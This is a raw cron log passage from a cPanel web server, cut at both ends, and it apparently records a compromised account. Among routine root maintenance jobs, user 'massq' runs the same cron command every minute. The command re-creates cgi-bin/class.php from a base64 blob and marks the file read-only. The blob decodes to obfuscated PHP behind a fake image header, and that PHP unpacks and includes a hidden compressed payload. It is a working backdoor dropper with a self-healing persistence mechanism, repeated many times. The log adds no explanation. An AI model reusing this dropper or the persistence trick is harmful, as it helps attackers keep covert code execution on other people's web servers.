RmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 01:15:01 server CROND[5883]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 13 01:16:01 server CROND[5986]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 01:17:01 server CROND[6039]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 01:18:01 server CROND[6087]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 01:19:01 server CROND[6138]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 01:20:01 server CROND[6337]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 13 01:20:01 server CROND[6338]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 13 01:20:01 server CROND[6340]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 13 01:20:01 server CROND[6343]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 13 01:20:01 server CROND[6342]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 01:21:01 server CROND[6445]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 01:22:01 server CROND[6499]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 01:23:01 server CROND[6558]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 01:24:01 server CROND[6603]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 01:25:01 server CROND[6784]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 01:25:01 server CROND[6785]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 13 01:25:01 server CROND[6786]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 13 01:26:01 server CROND[6888]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 01:27:01 server CROND[6948]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 13 01:27:01 server CROND[6949]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 01:28:01 server CROND[7002]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 01:29:01 server CROND[7028]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuy